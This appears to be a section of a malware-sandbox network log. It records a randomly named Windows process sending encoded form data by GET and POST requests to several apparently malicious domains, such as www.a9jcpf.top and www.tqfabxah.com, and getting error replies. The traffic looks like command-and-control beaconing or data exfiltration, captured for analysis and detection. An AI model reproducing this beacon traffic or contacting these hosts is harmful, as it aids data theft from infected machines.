dZo=mmMV1xSFqhYG/zyWNs3adc+As32fd3HLIBHG+RnGGlKEgeZ+U5lq0RporoSviRVECIpP3i2lASK9UREFfj5cXNLlGXkGPuoM2A6icJBRcYUwHuxmJnVJLAZRb3Tk7gCMEfX5xa66BELPExfJhd7VyMRobASG09nnNbNl2gWsoLnQPo8ohCK0vj0v4cM9p3WJXCCSb79VjPBXkeu6zmae0WOtjI6CR5Yt5kyNFtreVS/c79Oec2HhTiczCd6dstGiONq06QlqYJ4kruLrIjK0b4y0ERk/ZJOOHD/ggA8ur2K3DIqQPaoYaxGsiRl0CgfQMCR8XWoT5v7UTx30rFpBv/PAxYjHX5Beg6vvKUeU+W3s4DaDLskCVCpZzKQ3hUvXR4dlOvFfxsGU3PKuuczx+sG0KWhyMy9PfHnAzUJpaFRow5vYfIH0CskZzv0+TM4liN3EHz/K31AvOxf3lXMqdug5KoXvqFbldgP0Lzj4pmoXhRuN1xe3DvyvzMFyz01jJNHk69VUY9+neTDr844+T5nEHlOupEl91RXLvgZns2fzDRix3P8RXTFtsCN0CaBzHuwQAPRmUHKY51QGS+VcOrMSkXMzv5NOFbcy7yfpvwV8tIR1keZku+THEDrdPbTfwinlbOy3Uf4ZGJzQs8YgaQSBiNw4IEwNqs9tw8pS1pLuYIUNgc57ZtQHza3ueXQ0AoBxzDb7Gi4MeJGfk2K10MyuGvwdiQLB2x7bWfD6wWFHiQX19dYtre1sWiyYh0VdRYJCgJ26sjv5hb3NuTDu9qVv6hm7dCNfIK3+1LmPm/OyAVfownp4bCurCWENVfACIlJvqUWxuQp/xy46Iu33M0DCdHQf3RSY7IHS8JRS7/tXTPRGoOBMi6GyxOksrBqLfeUf0NO2nfXm/i5jzba50vRo0IBdi116gd0rvwPTKndsSIROXiwrhHs+0Hkpupj/5pfa7D5BUxZERxlkbNy9KmzihR7fw7wlolZKJLQPBvUbf9Ip [TRUNCATED]
Aug 18, 2024 18:26:27.651304007 CEST	533	IN	HTTP/1.1 404 Not Found Date: Sun, 18 Aug 2024 16:26:27 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	54138	203.161.55.102	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:29.592091084 CEST	439	OUT	GET /irn0/?dZo=rkk12BbGqxBZ8yyWFarCeZT80GKzND/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdyK4b8CTwfAsUn2lCVR5NZfuQrKb84WQ==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:26:30.196692944 CEST	548	IN	HTTP/1.1 404 Not Found Date: Sun, 18 Aug 2024 16:26:30 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	54139	216.83.33.145	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:35.626837015 CEST	689	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 37 30 77 42 6f 56 4e 75 55 4b 73 79 4b 64 30 6d 58 45 33 47 42 66 36 58 76 72 44 6b 61 53 31 73 64 51 78 63 33 58 55 35 2b 6f 38 6a 61 41 72 38 58 39 35 75 6e 61 64 31 57 52 76 57 72 37 62 43 65 37 74 42 74 50 32 4e 7a 31 38 65 57 39 54 61 61 53 32 57 68 76 69 6b 63 53 4a 4f 58 7a 56 62 74 73 59 32 36 63 2f 66 4b 6e 41 5a 58 49 47 57 2f 45 73 6b 41 65 6d 6e 55 35 74 30 43 6e 57 75 4b 2b 4f 4f 4d 42 30 41 62 64 6d 74 67 7a 76 50 31 69 72 36 2f 65 41 59 42 50 35 72 35 7a 72 53 4e 5a 47 71 4e 4d 35 76 46 63 67 4f 35 51 6f Data Ascii: dZo=UZXPUba8LAvof70wBoVNuUKsyKd0mXE3GBf6XvrDkaS1sdQxc3XU5+o8jaAr8X95unad1WRvWr7bCe7tBtP2Nz18eW9TaaS2WhvikcSJOXzVbtsY26c/fKnAZXIGW/EskAemnU5t0CnWuK+OOMB0AbdmtgzvP1ir6/eAYBP5r5zrSNZGqNM5vFcgO5Qo
Aug 18, 2024 18:26:36.533597946 CEST	208	IN	HTTP/1.1 530 Date: Sun, 18 Aug 2024 16:26:36 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 35 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.145 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	54140	216.83.33.145	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:38.152477980 CEST	713	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 61 45 77 45 50 35 4e 35 45 4b 74 75 36 64 30 7a 48 46 77 47 42 6a 36 58 72 36 62 6b 73 69 31 73 34 73 78 64 79 37 55 34 2b 6f 38 70 36 41 75 34 58 39 69 75 6e 48 69 31 58 39 76 57 76 54 62 43 63 7a 74 43 61 54 31 50 6a 31 79 48 47 39 52 58 36 53 32 57 68 76 69 6b 63 58 53 4f 58 72 56 61 63 63 59 33 65 49 2b 42 61 6e 50 52 33 49 47 53 2f 45 6f 6b 41 65 59 6e 56 31 48 30 42 54 57 75 4c 4f 4f 50 64 42 31 4a 62 64 6b 6a 41 7a 77 66 33 7a 2b 37 65 69 53 51 51 48 51 71 34 58 39 63 4d 35 59 37 2f 46 69 36 53 63 48 4a 65 5a 41 35 43 46 61 77 57 6c 6b 4b 4a 68 42 5a 69 44 77 34 6d 52 71 64 77 3d 3d Data Ascii: dZo=UZXPUba8LAvofaEwEP5N5EKtu6d0zHFwGBj6Xr6bksi1s4sxdy7U4+o8p6Au4X9iunHi1X9vWvTbCcztCaT1Pj1yHG9RX6S2WhvikcXSOXrVaccY3eI+BanPR3IGS/EokAeYnV1H0BTWuLOOPdB1JbdkjAzwf3z+7eiSQQHQq4X9cM5Y7/Fi6ScHJeZA5CFawWlkKJhBZiDw4mRqdw==
Aug 18, 2024 18:26:39.070369005 CEST	208	IN	HTTP/1.1 530 Date: Sun, 18 Aug 2024 16:26:38 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 35 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.145 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	54141	216.83.33.145	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:40.685551882 CEST	1726	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 61 45 77 45 50 35 4e 35 45 4b 74 75 36 64 30 7a 48 46 77 47 42 6a 36 58 72 36 62 6b 73 71 31 73 75 34 78 66 52 44 55 37 2b 6f 38 71 36 41 76 34 58 38 34 75 6e 66 6d 31 57 41 61 57 70 58 62 43 35 2f 74 44 75 6e 31 56 7a 31 79 49 6d 39 55 61 61 53 5a 57 68 2f 75 6b 66 2f 53 4f 58 72 56 61 65 45 59 2b 71 63 2b 44 61 6e 41 5a 58 49 4b 57 2f 45 41 6b 42 32 75 6e 56 68 39 30 53 4c 57 70 72 65 4f 4d 76 70 31 47 62 64 69 7a 51 79 6c 66 33 2b 75 37 64 47 76 51 51 7a 2b 71 2f 6a 39 65 49 38 47 2f 2b 38 2f 6c 51 67 57 4f 74 73 68 68 48 4a 59 71 57 4d 76 4b 71 74 6e 4f 7a 4b 46 38 31 73 50 4f 65 66 69 76 71 59 2f 4e 36 67 6a 78 49 72 35 74 31 4e 62 53 32 7a 47 58 44 62 79 46 6f 7a 75 39 6a 46 47 33 2b 52 64 6e 79 75 44 36 44 70 41 55 4b 5a 5a 6d 31 63 56 30 6b 2b 64 5a 39 6e 78 48 6b 49 42 6b 73 43 46 6c 30 75 68 67 79 32 41 58 30 52 38 42 56 30 74 43 76 6a 69 51 57 78 50 48 69 6d 71 74 37 4c 7a 6a 4b 33 53 44 38 50 73 49 67 63 4a 62 38 72 74 58 4d 31 39 50 6b [TRUNCATED] Data Ascii: dZo=UZXPUba8LAvofaEwEP5N5EKtu6d0zHFwGBj6Xr6bksq1su4xfRDU7+o8q6Av4X84unfm1WAaWpXbC5/tDun1Vz1yIm9UaaSZWh/ukf/SOXrVaeEY+qc+DanAZXIKW/EAkB2unVh90SLWpreOMvp1GbdizQylf3+u7dGvQQz+q/j9eI8G/+8/lQgWOtshhHJYqWMvKqtnOzKF81sPOefivqY/N6gjxIr5t1NbS2zGXDbyFozu9jFG3+RdnyuD6DpAUKZZm1cV0k+dZ9nxHkIBksCFl0uhgy2AX0R8BV0tCvjiQWxPHimqt7LzjK3SD8PsIgcJb8rtXM19PkxrXHS0+bJYo0JssW55kqisbeQo2fWsWlpJxgSipfnhnnFyy7wwLwPDRvPKruiPArUCM/BKDo4TloWeBCfAoNQ8aX57FC+XIloRwDklEhMbkS8emAxv7Wcp1FyHX9v0jDIGTv1I9ZGnAHlmHuIqfAd3+PxHX2MLKUSqAd25R8oZoHSpzR7xVyT6qhkF/tTMY7ZxYX4Zo59x+YDdSzR3RJxFlcqZ+N+H3IGGkc+kG7He009Bedych1/XqD5XHs3EjLk8+TGBPcWg+ZogpZ0+O/+0T6wwK95AT1B49MFHhSHk33fB0euI3doOekgPExTXaRHWuLitY5ghIo05acGwo+jLDYw3Cc5NRH6xYun1HbPQBV0nJGLf0lr4TQ8QmsPk+eqniSNVDo33wsBW4myDeqUdNzXP/dMkmZqEh7IiQHH578Wh0hOj0JdDf4Y5trIb8tKHoN6tlUx7BMiCIRcPNlf0aslx1fhOu4D8876mVEUstZyxLso+xVgmvA2iB2EBcj64eoqPGpQ3jWSylUl7jUtdnlLwTTxEIWhy9gXPN/f7lBDHvSvz3pYg8s9Qfoph51l9RCUhkTqLiJ6rACBPxL63FEhyL1EJejVdISrc09hIvxIJ/aC4R3bSwC/hu+il9D2yX7wzODH4zWGpcb4XQRe4C8/3E8Y+dHZl [TRUNCATED]
Aug 18, 2024 18:26:41.584238052 CEST	208	IN	HTTP/1.1 530 Date: Sun, 18 Aug 2024 16:26:41 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 35 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.145 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	54142	216.83.33.145	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:43.384511948 CEST	436	OUT	GET /mpex/?dZo=Zb/vXsPYNAfjWKU6DONX2DmivYpazk1zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3VTZ4C1VoYJ2+BjO5oufoKkfdfMAaow==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:26:44.311353922 CEST	208	IN	HTTP/1.1 530 Date: Sun, 18 Aug 2024 16:26:44 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 35 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.145 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	54143	35.241.42.217	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:49.988517046 CEST	695	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 66 67 66 31 30 47 6c 7a 41 6c 6a 74 4e 4f 66 2f 75 67 6a 75 64 34 6b 58 74 44 4d 78 6c 53 61 50 78 47 48 49 58 38 61 55 68 64 31 74 35 6a 6d 4b 56 65 4f 38 35 62 76 58 77 49 59 74 6e 44 4f 65 48 61 6b 71 4e 72 33 39 47 51 66 76 47 53 38 51 37 69 74 51 6f 46 32 4a 6a 48 47 6b 48 68 36 67 68 71 69 33 39 69 37 49 63 52 42 49 4b 79 6d 63 6c 4c 2b 4e 4e 6c 6c 48 74 70 38 41 36 7a 6a 4f 6e 50 5a 74 4d 63 6f 55 58 4a 50 6f 43 34 43 39 4a 44 34 62 78 46 49 4d 4a 6e 38 39 53 61 31 53 67 6b 50 49 55 30 6c 31 7a 42 32 7a 59 75 68 4a Data Ascii: dZo=qFjiaTJPEXcUfgf10GlzAljtNOf/ugjud4kXtDMxlSaPxGHIX8aUhd1t5jmKVeO85bvXwIYtnDOeHakqNr39GQfvGS8Q7itQoF2JjHGkHh6ghqi39i7IcRBIKymclL+NNllHtp8A6zjOnPZtMcoUXJPoC4C9JD4bxFIMJn89Sa1SgkPIU0l1zB2zYuhJ
Aug 18, 2024 18:26:50.632245064 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Sun, 18 Aug 2024 16:26:50 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close
Aug 18, 2024 18:26:50.634627104 CEST	559	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	54144	35.241.42.217	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:52.529439926 CEST	719	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 65 41 76 31 78 6c 4e 7a 42 46 6a 75 43 75 66 2f 6b 41 6a 79 64 34 59 58 74 43 35 30 77 77 2b 50 79 6a 72 49 59 59 75 55 69 64 31 74 68 54 6d 44 61 2b 4f 4e 35 62 7a 31 77 4a 6b 74 6e 41 79 65 48 59 73 71 4e 59 76 38 48 41 66 70 41 53 39 57 6a 43 74 51 6f 46 32 4a 6a 47 6a 44 48 68 69 67 68 61 79 33 39 48 62 48 56 78 42 4c 4e 79 6d 63 79 62 2b 4a 4e 6c 6b 69 74 74 63 71 36 78 72 4f 6e 4f 4a 74 4c 4e 70 43 5a 4a 50 79 63 34 43 72 59 43 59 65 30 46 56 55 49 6b 6f 37 49 4a 6c 39 6e 46 76 57 46 47 73 75 6d 57 32 55 66 4a 6f 68 50 6f 71 6a 52 6a 39 2b 55 4d 64 65 30 62 78 69 63 52 4a 78 2b 77 3d 3d Data Ascii: dZo=qFjiaTJPEXcUeAv1xlNzBFjuCuf/kAjyd4YXtC50ww+PyjrIYYuUid1thTmDa+ON5bz1wJktnAyeHYsqNYv8HAfpAS9WjCtQoF2JjGjDHhighay39HbHVxBLNymcyb+JNlkittcq6xrOnOJtLNpCZJPyc4CrYCYe0FVUIko7IJl9nFvWFGsumW2UfJohPoqjRj9+UMde0bxicRJx+w==
Aug 18, 2024 18:26:53.193691015 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Sun, 18 Aug 2024 16:26:53 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close
Aug 18, 2024 18:26:53.197258949 CEST	559	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	54145	35.241.42.217	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:55.059035063 CEST	1732	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 65 41 76 31 78 6c 4e 7a 42 46 6a 75 43 75 66 2f 6b 41 6a 79 64 34 59 58 74 43 35 30 77 77 32 50 78 52 6a 49 58 66 79 55 6a 64 31 74 2f 6a 6d 4f 61 2b 4f 55 35 62 37 78 77 4a 6f 39 6e 47 32 65 42 39 67 71 63 64 62 38 49 41 66 70 4e 79 39 47 37 69 74 46 6f 45 47 4e 6a 48 54 44 48 68 69 67 68 63 2b 33 36 53 37 48 5a 52 42 49 4b 79 6d 59 6c 4c 2b 78 4e 68 41 55 74 73 63 51 35 42 4c 4f 6e 76 35 74 4f 37 31 43 52 4a 50 73 49 59 44 6f 59 43 56 4f 30 46 49 6c 49 6e 31 65 49 4a 74 39 6a 79 71 38 56 6c 30 43 34 6b 4f 6c 49 65 45 65 4e 59 69 37 4c 7a 5a 37 4e 66 55 39 6b 35 6f 42 64 31 59 6c 6f 4e 4e 4c 68 44 65 54 31 77 41 66 75 39 55 56 76 7a 45 6a 76 77 53 73 4b 79 76 53 49 61 33 4f 61 55 72 54 70 32 50 77 56 67 72 46 58 77 30 78 49 79 32 30 4e 53 74 6e 34 74 62 44 34 4d 64 41 52 6b 2f 68 49 46 6c 50 45 6c 44 37 52 64 73 36 57 35 63 7a 4e 47 44 39 57 62 59 41 75 4d 4e 45 41 6b 45 6e 2b 4a 58 30 35 77 4f 4b 45 4c 38 4a 2b 32 42 4b 56 51 32 48 49 50 2f 35 6e 54 [TRUNCATED] Data Ascii: dZo=qFjiaTJPEXcUeAv1xlNzBFjuCuf/kAjyd4YXtC50ww2PxRjIXfyUjd1t/jmOa+OU5b7xwJo9nG2eB9gqcdb8IAfpNy9G7itFoEGNjHTDHhighc+36S7HZRBIKymYlL+xNhAUtscQ5BLOnv5tO71CRJPsIYDoYCVO0FIlIn1eIJt9jyq8Vl0C4kOlIeEeNYi7LzZ7NfU9k5oBd1YloNNLhDeT1wAfu9UVvzEjvwSsKyvSIa3OaUrTp2PwVgrFXw0xIy20NStn4tbD4MdARk/hIFlPElD7Rds6W5czNGD9WbYAuMNEAkEn+JX05wOKEL8J+2BKVQ2HIP/5nTkAPAzi60hhhlqQ0yUji5LlpDnKCzPvPK0nA4XDxDc/KgYS1WEcVxAbM2AuxMjkw/h3EAoHNx83Q9WZq/9QmwoDKN+L5EmZO3E0BhWdZyXKcp62gY+zcLARPaJJkaHMnffACfb5MfeLuu19V4uNGEjbdB0f18meyrJ+cQpNZQzbg8VSryYrjX/0ZO3DXWSVNQDj++fPSrd9W51ZLckBpuhEv0itKuPOgxPz6y14sAX3oyzvlz4PUxLV3bHrI6L8/PTmGo8IT385bAZEouVTaN66qo0qYsybtcd53dsXy0A5TOXCAqSUQR4vcHxwQiMwvKTHwSddS4zxi22nwUyxK5Uvl1idrEMJr6aFUeRSwBu+gXqNlZOI0iBeH1gT+R57gFv1Sl0rJZutrbPSR5ALzW7uL7mmIRECdPNBY4PLuTexW7rJihwRD09de75lQtVD9yWpx/LcWuf5VIUZWROeE4MvyyUjUQ4DeFANVYozGP5s/rfIidvKn1uxP/AMyqojFIQ9pPmrdJRrVFMCwjwfg8kMVLclcRJL68IIUwP8n6l0YmXOOAfS8sBOmgKR4YDhqa3N99wvpgMqnOh0Iog45FLkOFfXY1pQPODmMou0nqBl5Ctx7icS9lgCc6yK9dcbjYSATJa8ORgbi8cMwl9n8Wgfu5LIYxNe8iDP [TRUNCATED]
